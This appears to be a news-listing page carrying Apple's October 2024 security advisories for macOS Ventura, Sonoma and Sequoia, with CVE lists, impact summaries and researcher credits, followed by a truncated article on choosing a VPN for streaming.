Description: A path deletion vulnerability was addressed by preventing  
vulnerable code from running with privileges.  
CVE-2024-44156: Arsenii Kostromin (0x3c3e)  
CVE-2024-44159: Mickey Jin (@patch1t)

PackageKit  
Available for: macOS Ventura  
Impact: An app may be able to modify protected parts of the file system  
Description: A permissions issue was addressed with additional  
restrictions.  
CVE-2024-44196: Csaba Fitzl (@theevilbit) of Kandji

PackageKit  
Available for: macOS Ventura  
Impact: An app may be able to modify protected parts of the file system  
Description: The issue was addressed with improved checks.  
CVE-2024-44253: Mickey Jin (@patch1t), Csaba Fitzl (@theevilbit) of  
Kandji

PackageKit  
Available for: macOS Ventura  
Impact: A malicious application may be able to modify protected parts of  
the file system  
Description: The issue was addressed with improved checks.  
CVE-2024-44247: Un3xploitable of CW Research Inc  
CVE-2024-44267: Bohdan Stasiuk (@Bohdan_Stasiuk), Un3xploitable of CW  
Research Inc, Pedro Tôrres (@t0rr3sp3dr0)  
CVE-2024-44301: Bohdan Stasiuk (@Bohdan_Stasiuk), Un3xploitable of CW  
Research Inc, Pedro Tôrres (@t0rr3sp3dr0)  
CVE-2024-44275: Arsenii Kostromin (0x3c3e)

PackageKit  
Available for: macOS Ventura  
Impact: An attacker with root privileges may be able to delete protected  
system files  
Description: A path deletion vulnerability was addressed by preventing  
vulnerable code from running with privileges.  
CVE-2024-44294: Mickey Jin (@patch1t)

Screen Capture  
Available for: macOS Ventura  
Impact: An attacker with physical access may be able to share items from  
the lock screen  
Description: The issue was addressed with improved checks.  
CVE-2024-44137: Halle Winkler, Politepix @hallewinkler

Shortcuts  
Available for: macOS Ventura  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44254: Kirin (@Pwnrin)

Shortcuts  
Available for: macOS Ventura  
Impact: A malicious app may use shortcuts to access restricted files  
Description: A logic issue was addressed with improved checks.  
CVE-2024-44269: an anonymous researcher

sips  
Available for: macOS Ventura  
Impact: Processing a maliciously crafted file may lead to unexpected app  
termination  
Description: An out-of-bounds access issue was addressed with improved  
bounds checking.  
CVE-2024-44236: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative  
CVE-2024-44237: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

sips  
Available for: macOS Ventura  
Impact: Parsing a maliciously crafted file may lead to an unexpected app  
termination  
Description: An out-of-bounds write issue was addressed with improved  
input validation.  
CVE-2024-44284: Junsung Lee, dw0r! working with Trend Micro Zero Day  
Initiative

sips  
Available for: macOS Ventura  
Impact: Parsing a file may lead to disclosure of user information  
Description: An out-of-bounds read was addressed with improved input  
validation.  
CVE-2024-44279: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative  
CVE-2024-44281: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

sips  
Available for: macOS Ventura  
Impact: Parsing a maliciously crafted file may lead to an unexpected app  
termination  
Description: An out-of-bounds read was addressed with improved bounds  
checking.  
CVE-2024-44283: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

Siri  
Available for: macOS Ventura  
Impact: A sandboxed app may be able to access sensitive user data in  
system logs  
Description: An information disclosure issue was addressed with improved  
private data redaction for log entries.  
CVE-2024-44278: Kirin (@Pwnrin)

SystemMigration  
Available for: macOS Ventura  
Impact: A malicious app may be able to create symlinks to protected  
regions of the disk  
Description: This issue was addressed with improved validation of  
symlinks.  
CVE-2024-44264: Mickey Jin (@patch1t)

WindowServer  
Available for: macOS Ventura  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44257: Bohdan Stasiuk (@Bohdan_Stasiuk)

Additional recognition

NetworkExtension  
We would like to acknowledge Patrick Wardle of DoubleYou & the  
Objective-See Foundation for their assistance.

Security  
We would like to acknowledge Bing Shi, Wenchao Li and Xiaolong Bai of  
Alibaba Group for their assistance.

Spotlight  
We would like to acknowledge Paulo Henrique Batista Rosa de Castro  
(@paulohbrc) for their assistance.

macOS Ventura 13.7.1 may be obtained from the Mac App Store or  
Apple's Software Downloads web site:  
https://support.apple.com/downloads/

All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/100100.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/

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Apple Security Advisory 10-28-2024-5

Apple Security Advisory 10-28-2024-4 - macOS Sonoma 14.7.1 addresses buffer overflow, bypass, information leakage, out of bounds access, out of bounds read, and out of bounds write vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1

macOS Sonoma 14.7.1 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/121570.

Apple maintains a Security Releases page at  
https://support.apple.com/100100 which lists recent  
software updates with security advisories.

App Support  
Available for: macOS Sonoma  
Impact: A malicious app may be able to run arbitrary shortcuts without  
user consent  
Description: A path handling issue was addressed with improved logic.  
CVE-2024-44255: an anonymous researcher

AppleMobileFileIntegrity  
Available for: macOS Sonoma  
Impact: A sandboxed process may be able to circumvent sandbox  
restrictions  
Description: A logic issue was addressed with improved validation.  
CVE-2024-44270: Mickey Jin (@patch1t)

AppleMobileFileIntegrity  
Available for: macOS Sonoma  
Impact: An app may be able to modify protected parts of the file system  
Description: A downgrade issue affecting Intel-based Mac computers was  
addressed with additional code-signing restrictions.  
CVE-2024-44280: Mickey Jin (@patch1t)

Assets  
Available for: macOS Sonoma  
Impact: A malicious app with root privileges may be able to modify the  
contents of system files  
Description: This issue was addressed by removing the vulnerable code.  
CVE-2024-44260: Mickey Jin (@patch1t)

CoreMedia Playback  
Available for: macOS Sonoma  
Impact: A malicious app may be able to access private information  
Description: This issue was addressed with improved handling of  
symlinks.  
CVE-2024-44273: pattern-f (@pattern_F_), Hikerell of Loadshine Lab

CoreServicesUIAgent  
Available for: macOS Sonoma  
Impact: An app may be able to modify protected parts of the file system  
Description: This issue was addressed with additional entitlement  
checks.  
CVE-2024-44295: an anonymous researcher

CoreText  
Available for: macOS Sonoma  
Impact: Processing a maliciously crafted font may result in the  
disclosure of process memory  
Description: The issue was addressed with improved checks.  
CVE-2024-44240: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative  
CVE-2024-44302: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

CUPS  
Available for: macOS Sonoma  
Impact: An attacker in a privileged network position may be able to leak  
sensitive user information  
Description: An issue existed in the parsing of URLs. This issue was  
addressed with improved input validation.  
CVE-2024-44213: Alexandre Bedard

DiskArbitration  
Available for: macOS Sonoma  
Impact: A sandboxed app may be able to access sensitive user data  
Description: The issue was addressed with improved checks.  
CVE-2024-40855: Csaba Fitzl (@theevilbit) of Kandji

Find My  
Available for: macOS Sonoma  
Impact: An app may be able to read sensitive location information  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2024-44289: Kirin (@Pwnrin)

Foundation  
Available for: macOS Sonoma  
Impact: Parsing a file may lead to disclosure of user information  
Description: An out-of-bounds read was addressed with improved input  
validation.  
CVE-2024-44282: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

Game Controllers  
Available for: macOS Sonoma  
Impact: An attacker with physical access can input Game Controller  
events to apps running on a locked device  
Description: The issue was addressed by restricting options offered on a  
locked device.  
CVE-2024-44265: Ronny Stiftel

ImageIO  
Available for: macOS Sonoma  
Impact: Processing an image may result in disclosure of process memory  
Description: This issue was addressed with improved checks.  
CVE-2024-44215: Junsung Lee working with Trend Micro Zero Day Initiative

ImageIO  
Available for: macOS Sonoma  
Impact: Processing a maliciously crafted message may lead to a denial-  
of-service  
Description: The issue was addressed with improved bounds checks.  
CVE-2024-44297: Jex Amro

Installer  
Available for: macOS Sonoma  
Impact: An app may be able to access user-sensitive data  
Description: An access issue was addressed with additional sandbox  
restrictions.  
CVE-2024-44216: Zhongquan Li (@Guluisacat)

Installer  
Available for: macOS Sonoma  
Impact: A malicious application may be able to modify protected parts of  
the file system  
Description: The issue was addressed with improved checks.  
CVE-2024-44287: Mickey Jin (@patch1t)

IOGPUFamily  
Available for: macOS Sonoma  
Impact: A malicious app may be able to cause a denial-of-service  
Description: The issue was addressed with improved memory handling.  
CVE-2024-44197: Wang Yu of Cyberserval

Kernel  
Available for: macOS Sonoma  
Impact: An app may be able to leak sensitive kernel state  
Description: An information disclosure issue was addressed with improved  
private data redaction for log entries.  
CVE-2024-44239: Mateusz Krzywicki (@krzywix)

Kernel  
Available for: macOS Sonoma  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved validation of  
symlinks.  
CVE-2024-44175: Csaba Fitzl (@theevilbit) of Kandji

LaunchServices  
Available for: macOS Sonoma  
Impact: An application may be able to break out of its sandbox  
Description: A logic issue was addressed with improved checks.  
CVE-2024-44122: an anonymous researcher

Maps  
Available for: macOS Sonoma  
Impact: An app may be able to read sensitive location information  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44222: Kirin (@Pwnrin)

Messages  
Available for: macOS Sonoma  
Impact: An app may be able to break out of its sandbox  
Description: The issue was addressed with improved input sanitization.  
CVE-2024-44256: Mickey Jin (@patch1t)

PackageKit  
Available for: macOS Sonoma  
Impact: An app may be able to bypass Privacy preferences  
Description: A path deletion vulnerability was addressed by preventing  
vulnerable code from running with privileges.  
CVE-2024-44159: Mickey Jin (@patch1t)  
CVE-2024-44156: Arsenii Kostromin (0x3c3e)

PackageKit  
Available for: macOS Sonoma  
Impact: An app may be able to modify protected parts of the file system  
Description: A permissions issue was addressed with additional  
restrictions.  
CVE-2024-44196: Csaba Fitzl (@theevilbit) of Kandji

PackageKit  
Available for: macOS Sonoma  
Impact: An app may be able to modify protected parts of the file system  
Description: The issue was addressed with improved checks.  
CVE-2024-44253: Mickey Jin (@patch1t), Csaba Fitzl (@theevilbit) of  
Kandji

PackageKit  
Available for: macOS Sonoma  
Impact: A malicious application may be able to modify protected parts of  
the file system  
Description: The issue was addressed with improved checks.  
CVE-2024-44247: Un3xploitable of CW Research Inc  
CVE-2024-44267: Bohdan Stasiuk (@Bohdan_Stasiuk), Un3xploitable of CW  
Research Inc, Pedro Tôrres (@t0rr3sp3dr0)  
CVE-2024-44301: Bohdan Stasiuk (@Bohdan_Stasiuk), Un3xploitable of CW  
Research Inc, Pedro Tôrres (@t0rr3sp3dr0)  
CVE-2024-44275: Arsenii Kostromin (0x3c3e)

PackageKit  
Available for: macOS Sonoma  
Impact: An attacker with root privileges may be able to delete protected  
system files  
Description: A path deletion vulnerability was addressed by preventing  
vulnerable code from running with privileges.  
CVE-2024-44294: Mickey Jin (@patch1t)

SceneKit  
Available for: macOS Sonoma  
Impact: Processing a maliciously crafted file may lead to unexpected app  
termination  
Description: A buffer overflow was addressed with improved size  
validation.  
CVE-2024-44144: 냥냥

SceneKit  
Available for: macOS Sonoma  
Impact: Processing a maliciously crafted file may lead to heap  
corruption  
Description: This issue was addressed with improved checks.  
CVE-2024-44218: Michael DePlante (@izobashi) of Trend Micro Zero Day  
Initiative

Screen Capture  
Available for: macOS Sonoma  
Impact: An attacker with physical access may be able to share items from  
the lock screen  
Description: The issue was addressed with improved checks.  
CVE-2024-44137: Halle Winkler, Politepix @hallewinkler

Shortcuts  
Available for: macOS Sonoma  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44254: Kirin (@Pwnrin)

Shortcuts  
Available for: macOS Sonoma  
Impact: A malicious app may use shortcuts to access restricted files  
Description: A logic issue was addressed with improved checks.  
CVE-2024-44269: an anonymous researcher

sips  
Available for: macOS Sonoma  
Impact: Processing a maliciously crafted file may lead to unexpected app  
termination  
Description: An out-of-bounds access issue was addressed with improved  
bounds checking.  
CVE-2024-44236: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative  
CVE-2024-44237: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

sips  
Available for: macOS Sonoma  
Impact: Parsing a maliciously crafted file may lead to an unexpected app  
termination  
Description: An out-of-bounds write issue was addressed with improved  
input validation.  
CVE-2024-44284: Junsung Lee, dw0r! working with Trend Micro Zero Day  
Initiative

sips  
Available for: macOS Sonoma  
Impact: Parsing a file may lead to disclosure of user information  
Description: An out-of-bounds read was addressed with improved input  
validation.  
CVE-2024-44279: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative  
CVE-2024-44281: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

sips  
Available for: macOS Sonoma  
Impact: Parsing a maliciously crafted file may lead to an unexpected app  
termination  
Description: An out-of-bounds read was addressed with improved bounds  
checking.  
CVE-2024-44283: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

Siri  
Available for: macOS Sonoma  
Impact: A sandboxed app may be able to access sensitive user data in  
system logs  
Description: An information disclosure issue was addressed with improved  
private data redaction for log entries.  
CVE-2024-44278: Kirin (@Pwnrin)

SystemMigration  
Available for: macOS Sonoma  
Impact: A malicious app may be able to create symlinks to protected  
regions of the disk  
Description: This issue was addressed with improved validation of  
symlinks.  
CVE-2024-44264: Mickey Jin (@patch1t)

WindowServer  
Available for: macOS Sonoma  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44257: Bohdan Stasiuk (@Bohdan_Stasiuk)

Additional recognition

NetworkExtension  
We would like to acknowledge Patrick Wardle of DoubleYou & the  
Objective-See Foundation for their assistance.

Security  
We would like to acknowledge Bing Shi, Wenchao Li and Xiaolong Bai of  
Alibaba Group for their assistance.

Spotlight  
We would like to acknowledge Paulo Henrique Batista Rosa de Castro  
(@paulohbrc) for their assistance.

macOS Sonoma 14.7.1 may be obtained from the Mac App Store or Apple's  
Software Downloads web site: https://support.apple.com/downloads/

All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/100100.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/

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Apple Security Advisory 10-28-2024-4

Apple Security Advisory 10-28-2024-3 - macOS Sequoia 15.1 addresses bypass, information leakage, out of bounds access, out of bounds read, out of bounds write, and use-after-free vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

APPLE-SA-10-28-2024-3 macOS Sequoia 15.1

macOS Sequoia 15.1 addresses the following issues.  
Information about the security content is also available at  
https://support.apple.com/121564.

Apple maintains a Security Releases page at  
https://support.apple.com/100100 which lists recent  
software updates with security advisories.

Apache  
Impact: Multiple issues existed in Apache  
Description: This is a vulnerability in open source code and Apple  
Software is among the affected projects. The CVE-ID was assigned by a  
third party. Learn more about the issue and CVE-ID at cve.org.  
CVE-2024-39573  
CVE-2024-38477  
CVE-2024-38476

App Support  
Available for: macOS Sequoia  
Impact: A malicious app may be able to run arbitrary shortcuts without  
user consent  
Description: A path handling issue was addressed with improved logic.  
CVE-2024-44255: an anonymous researcher

AppleMobileFileIntegrity  
Available for: macOS Sequoia  
Impact: A sandboxed process may be able to circumvent sandbox  
restrictions  
Description: A logic issue was addressed with improved validation.  
CVE-2024-44270: Mickey Jin (@patch1t)

AppleMobileFileIntegrity  
Available for: macOS Sequoia  
Impact: An app may be able to modify protected parts of the file system  
Description: A downgrade issue affecting Intel-based Mac computers was  
addressed with additional code-signing restrictions.  
CVE-2024-44280: Mickey Jin (@patch1t)

Assets  
Available for: macOS Sequoia  
Impact: A malicious app with root privileges may be able to modify the  
contents of system files  
Description: This issue was addressed by removing the vulnerable code.  
CVE-2024-44260: Mickey Jin (@patch1t)

Contacts  
Available for: macOS Sequoia  
Impact: An app may be able to access information about a user's contacts  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2024-44298: Kirin (@Pwnrin) and 7feilee

CoreMedia Playback  
Available for: macOS Sequoia  
Impact: A malicious app may be able to access private information  
Description: This issue was addressed with improved handling of  
symlinks.  
CVE-2024-44273: pattern-f (@pattern_F_), Hikerell of Loadshine Lab

CoreServicesUIAgent  
Available for: macOS Sequoia  
Impact: An app may be able to modify protected parts of the file system  
Description: This issue was addressed with additional entitlement  
checks.  
CVE-2024-44295: an anonymous researcher

CoreText  
Available for: macOS Sequoia  
Impact: Processing a maliciously crafted font may result in the  
disclosure of process memory  
Description: The issue was addressed with improved checks.  
CVE-2024-44240: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative  
CVE-2024-44302: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

CUPS  
Available for: macOS Sequoia  
Impact: An attacker in a privileged network position may be able to leak  
sensitive user information  
Description: An issue existed in the parsing of URLs. This issue was  
addressed with improved input validation.  
CVE-2024-44213: Alexandre Bedard

Find My  
Available for: macOS Sequoia  
Impact: An app may be able to read sensitive location information  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2024-44289: Kirin (@Pwnrin)

Foundation  
Available for: macOS Sequoia  
Impact: Parsing a file may lead to disclosure of user information  
Description: An out-of-bounds read was addressed with improved input  
validation.  
CVE-2024-44282: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

Game Controllers  
Available for: macOS Sequoia  
Impact: An attacker with physical access can input Game Controller  
events to apps running on a locked device  
Description: The issue was addressed by restricting options offered on a  
locked device.  
CVE-2024-44265: Ronny Stiftel

ImageIO  
Available for: macOS Sequoia  
Impact: Processing an image may result in disclosure of process memory  
Description: This issue was addressed with improved checks.  
CVE-2024-44215: Junsung Lee working with Trend Micro Zero Day Initiative

ImageIO  
Available for: macOS Sequoia  
Impact: Processing a maliciously crafted message may lead to a denial-  
of-service  
Description: The issue was addressed with improved bounds checks.  
CVE-2024-44297: Jex Amro

Installer  
Available for: macOS Sequoia  
Impact: An app may be able to access user-sensitive data  
Description: An access issue was addressed with additional sandbox  
restrictions.  
CVE-2024-44216: Zhongquan Li (@Guluisacat)

Installer  
Available for: macOS Sequoia  
Impact: A malicious application may be able to modify protected parts of  
the file system  
Description: The issue was addressed with improved checks.  
CVE-2024-44287: Mickey Jin (@patch1t)

IOGPUFamily  
Available for: macOS Sequoia  
Impact: A malicious app may be able to cause a denial-of-service  
Description: The issue was addressed with improved memory handling.  
CVE-2024-44197: Wang Yu of Cyberserval

IOSurface  
Available for: macOS Sequoia  
Impact: An app may be able to cause unexpected system termination or  
corrupt kernel memory  
Description: A use-after-free issue was addressed with improved memory  
management.  
CVE-2024-44285: an anonymous researcher

Kernel  
Available for: macOS Sequoia  
Impact: An app may be able to leak sensitive kernel state  
Description: An information disclosure issue was addressed with improved  
private data redaction for log entries.  
CVE-2024-44239: Mateusz Krzywicki (@krzywix)

Login Window  
Available for: macOS Sequoia  
Impact: A person with physical access to a Mac may be able to bypass  
Login Window during a software update  
Description: This issue was addressed through improved state management.  
CVE-2024-44231: Toomas Römer

Login Window  
Available for: macOS Sequoia  
Impact: An attacker with physical access to a Mac may be able to view  
protected content from the Login Window  
Description: This issue was addressed through improved state management.  
CVE-2024-44223: Jaime Bertran

Maps  
Available for: macOS Sequoia  
Impact: An app may be able to read sensitive location information  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44222: Kirin (@Pwnrin)

Messages  
Available for: macOS Sequoia  
Impact: An app may be able to break out of its sandbox  
Description: The issue was addressed with improved input sanitization.  
CVE-2024-44256: Mickey Jin (@patch1t)

Notification Center  
Available for: macOS Sequoia  
Impact: An app may be able to access sensitive user data  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2024-44292: Kirin (@Pwnrin)

Notification Center  
Available for: macOS Sequoia  
Impact: A user may be able to view sensitive user information  
Description: A privacy issue was addressed with improved private data  
redaction for log entries.  
CVE-2024-44293: Kirin (@Pwnrin) and 7feilee

PackageKit  
Available for: macOS Sequoia  
Impact: A malicious application may be able to modify protected parts of  
the file system  
Description: The issue was addressed with improved checks.  
CVE-2024-44247: Un3xploitable of CW Research Inc  
CVE-2024-44267: Bohdan Stasiuk (@Bohdan_Stasiuk), Un3xploitable of CW  
Research Inc, Pedro Tôrres (@t0rr3sp3dr0)  
CVE-2024-44301: Bohdan Stasiuk (@Bohdan_Stasiuk), Un3xploitable of CW  
Research Inc, Pedro Tôrres (@t0rr3sp3dr0)  
CVE-2024-44275: Arsenii Kostromin (0x3c3e)

PackageKit  
Available for: macOS Sequoia  
Impact: An app may be able to bypass Privacy preferences  
Description: A path deletion vulnerability was addressed by preventing  
vulnerable code from running with privileges.  
CVE-2024-44156: Arsenii Kostromin (0x3c3e)  
CVE-2024-44159: Mickey Jin (@patch1t)

PackageKit  
Available for: macOS Sequoia  
Impact: An app may be able to modify protected parts of the file system  
Description: The issue was addressed with improved checks.  
CVE-2024-44253: Mickey Jin (@patch1t), Csaba Fitzl (@theevilbit) of  
Kandji

PackageKit  
Available for: macOS Sequoia  
Impact: An attacker with root privileges may be able to delete protected  
system files  
Description: A path deletion vulnerability was addressed by preventing  
vulnerable code from running with privileges.  
CVE-2024-44294: Mickey Jin (@patch1t)

PackageKit  
Available for: macOS Sequoia  
Impact: An app may be able to modify protected parts of the file system  
Description: A permissions issue was addressed with additional  
restrictions.  
CVE-2024-44196: Csaba Fitzl (@theevilbit) of Kandji

Photos  
Available for: macOS Sequoia  
Impact: An app may be able to access Contacts without user consent  
Description: A permissions issue was addressed with additional  
restrictions.  
CVE-2024-40858: Csaba Fitzl (@theevilbit) of Kandji

Pro Res  
Available for: macOS Sequoia  
Impact: An app may be able to cause unexpected system termination or  
corrupt kernel memory  
Description: The issue was addressed with improved memory handling.  
CVE-2024-44277: an anonymous researcher and Yinyi Wu(@_3ndy1) from Dawn  
Security Lab of JD.com, Inc.

Quick Look  
Available for: macOS Sequoia  
Impact: An app may be able to read arbitrary files  
Description: A logic issue was addressed with improved validation.  
CVE-2024-44195: an anonymous researcher

Safari Downloads  
Available for: macOS Sequoia  
Impact: An attacker may be able to misuse a trust relationship to  
download malicious content  
Description: This issue was addressed through improved state management.  
CVE-2024-44259: Narendra Bhati, Manager of Cyber Security at Suma Soft  
Pvt. Ltd, Pune (India)

Safari Private Browsing  
Available for: macOS Sequoia  
Impact: Private browsing may leak some browsing history  
Description: An information leakage was addressed with additional  
validation.  
CVE-2024-44229: Lucas Di Tomase

Sandbox  
Available for: macOS Sequoia  
Impact: An app may be able to access user-sensitive data  
Description: This issue was addressed with improved validation of  
symlinks.  
CVE-2024-44211: Gergely Kalman (@gergely_kalman) and Csaba Fitzl  
(@theevilbit)

SceneKit  
Available for: macOS Sequoia  
Impact: Processing a maliciously crafted file may lead to heap  
corruption  
Description: This issue was addressed with improved checks.  
CVE-2024-44218: Michael DePlante (@izobashi) of Trend Micro Zero Day  
Initiative

Shortcuts  
Available for: macOS Sequoia  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44254: Kirin (@Pwnrin)

Shortcuts  
Available for: macOS Sequoia  
Impact: A malicious app may use shortcuts to access restricted files  
Description: A logic issue was addressed with improved checks.  
CVE-2024-44269: an anonymous researcher

sips  
Available for: macOS Sequoia  
Impact: Processing a maliciously crafted file may lead to unexpected app  
termination  
Description: An out-of-bounds access issue was addressed with improved  
bounds checking.  
CVE-2024-44236: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative  
CVE-2024-44237: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

sips  
Available for: macOS Sequoia  
Impact: Parsing a file may lead to disclosure of user information  
Description: An out-of-bounds read was addressed with improved input  
validation.  
CVE-2024-44279: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative  
CVE-2024-44281: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

sips  
Available for: macOS Sequoia  
Impact: Parsing a maliciously crafted file may lead to an unexpected app  
termination  
Description: An out-of-bounds read was addressed with improved bounds  
checking.  
CVE-2024-44283: Hossein Lotfi (@hosselot) of Trend Micro Zero Day  
Initiative

sips  
Available for: macOS Sequoia  
Impact: Parsing a maliciously crafted file may lead to an unexpected app  
termination  
Description: An out-of-bounds write issue was addressed with improved  
input validation.  
CVE-2024-44284: Junsung Lee, dw0r! working with Trend Micro Zero Day  
Initiative

Siri  
Available for: macOS Sequoia  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44194: Rodolphe Brunetti (@eisw0lf)

Siri  
Available for: macOS Sequoia  
Impact: A sandboxed app may be able to access sensitive user data in  
system logs  
Description: An information disclosure issue was addressed with improved  
private data redaction for log entries.  
CVE-2024-44278: Kirin (@Pwnrin)

SystemMigration  
Available for: macOS Sequoia  
Impact: A malicious app may be able to create symlinks to protected  
regions of the disk  
Description: This issue was addressed with improved validation of  
symlinks.  
CVE-2024-44264: Mickey Jin (@patch1t)

WebKit  
Available for: macOS Sequoia  
Impact: Processing maliciously crafted web content may prevent Content  
Security Policy from being enforced  
Description: The issue was addressed with improved checks.  
WebKit Bugzilla: 278765  
CVE-2024-44296: Narendra Bhati, Manager of Cyber Security at Suma Soft  
Pvt. Ltd, Pune (India)

WebKit  
Available for: macOS Sequoia  
Impact: Processing maliciously crafted web content may lead to an  
unexpected process crash  
Description: A memory corruption issue was addressed with improved input  
validation.  
WebKit Bugzilla: 279780  
CVE-2024-44244: an anonymous researcher, Q1IQ (@q1iqF) and P1umer  
(@p1umer)

WindowServer  
Available for: macOS Sequoia  
Impact: An app may be able to access sensitive user data  
Description: This issue was addressed with improved redaction of  
sensitive information.  
CVE-2024-44257: Bohdan Stasiuk (@Bohdan_Stasiuk)

Additional recognition

Airport  
We would like to acknowledge Bohdan Stasiuk (@Bohdan_Stasiuk),  
K宝(@Pwnrin) for their assistance.

Calculator  
We would like to acknowledge Kenneth Chew for their assistance.

Calendar  
We would like to acknowledge  K宝(@Pwnrin) for their assistance.

ImageIO  
We would like to acknowledge Amir Bazine and Karsten König of  
CrowdStrike Counter Adversary Operations, an anonymous researcher for  
their assistance.

Messages  
We would like to acknowledge Collin Potter, an anonymous researcher for  
their assistance.

NetworkExtension  
We would like to acknowledge Patrick Wardle of DoubleYou & the  
Objective-See Foundation for their assistance.

Notification Center  
We would like to acknowledge Kirin (@Pwnrin) and LFYSec for their  
assistance.

Photos  
We would like to acknowledge James Robertson for their assistance.

Safari Private Browsing  
We would like to acknowledge an anonymous researcher, r00tdaddy for  
their assistance.

Safari Tabs  
We would like to acknowledge Jaydev Ahire for their assistance.

Security  
We would like to acknowledge Bing Shi, Wenchao Li and Xiaolong Bai of  
Alibaba Group for their assistance.

Siri  
We would like to acknowledge Bistrit Dahal for their assistance.

macOS Sequoia 15.1 may be obtained from the Mac App Store or Apple's  
Software Downloads web site: https://support.apple.com/downloads/

All information is also posted on the Apple Security Releases  
web site: https://support.apple.com/100100.

This message is signed with Apple's Product Security PGP key,  
and details are available at:  
https://www.apple.com/support/security/pgp/

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Apple Security Advisory 10-28-2024-3

Find the best VPN for streaming with essential features like high-speed servers, strong encryption, streaming optimization, and broad…

Find the best VPN for streaming with essential features like high-speed servers, strong encryption, streaming optimization, and broad device compatibility. Enjoy seamless access to geo-restricted content securely.

Some geo-restricted content can only be unlocked and streamed using a Virtual Private Network (VPN). A VPN for streaming services allows you to watch content seamlessly while protecting your online identity.

With so many VPNs available, not all perform equally, making it challenging to find the best VPNs without interruptions. In this article, we’ll break down essential features to consider when selecting the top VPNs for streaming.

**Server Locations and Coverage**

An important feature in a streaming VPN is server locations and coverage, which determine the content you can access. Choose a VPN with a wide range of high-speed servers to prevent connectivity issues. A strong network spread across multiple countries will allow access to geo-restricted content. Look for VPN providers that frequently update servers, as this indicates a commitment to maintaining quality.

**Speed and Bandwidth**

To support HD streaming, ensure your VPN offers speeds of at least 100 Mbps, with no bandwidth limits or throttling. A VPN optimized for streaming should minimize buffering and reduce latency for smoother content loading.

****Encryption and Security****

When choosing a VPN for streaming, prioritize strong encryption and security. Look for AES-256 encryption or higher, and support for OpenVPN, IKEv2, and WireGuard protocols. The VPN should also include DNS leak protection to keep your IP address secure. If the VPN connection drops, an automatic internet disconnect feature ensures data remains private. These protections ensure that your data will not be exposed to third parties.

****Streaming Optimization****

Streaming optimization is key. The VPN should be optimized for high-speed, low-latency streaming, with custom protocols tailored to this purpose. Look for features that automatically select the best server for streaming, reducing buffering and enhancing speed.

****Device Compatibility****

Your VPN should support all the devices you plan to connect, including Windows, macOS, iOS, Android, and Linux. Look for compatibility with smart TVs (such as Samsung TV, Android TV, and Apple TV) and gaming consoles (PlayStation, Xbox, Nintendo Switch). It should also work with popular streaming platforms like Roku, Chromecast, and Amazon Fire TV. Browser extensions for Chrome, Firefox, and Safari add versatility, making it easier to stream across multiple devices.

****Simultaneous Connections****

Choose a VPN that supports at least five simultaneous connections. This feature lets you connect multiple devices without altering individual settings, which is convenient for families or business use. Check the VPN documentation for setup guides and confirm compatibility with less common devices like Linux and Chromebook. Additionally, look for split tunneling to configure specific device connections.

****Customer Support****

Reliable customer support is essential when using a VPN for streaming. Quick access to assistance for any issues or questions is critical. Look for providers that offer guides, FAQs, and tutorials for self-help, and a prompt email response time (ideally within 3 hours). Social media support is a plus. Effective customer support indicates a provider’s commitment to user satisfaction and technical support.

****Pricing and Payment Options****

Consider affordability and payment flexibility. Some VPNs offer discounts for long-term plans, free trials, money-back guarantees, and even cryptocurrency options. Make sure you’re getting value for your investment and review refund policies carefully. Look out for hidden fees or sudden price hikes, and ensure pricing transparency before subscribing.

****Logging Policy****

Opt for a VPN with a strict no-logs policy. It should avoid storing IP addresses, tracking online activities, or saving connection metadata. This policy helps ensure your privacy, reduces data breach risks, and underscores the VPN’s commitment to protecting client data.

****Compatibility with Popular Streaming Services****

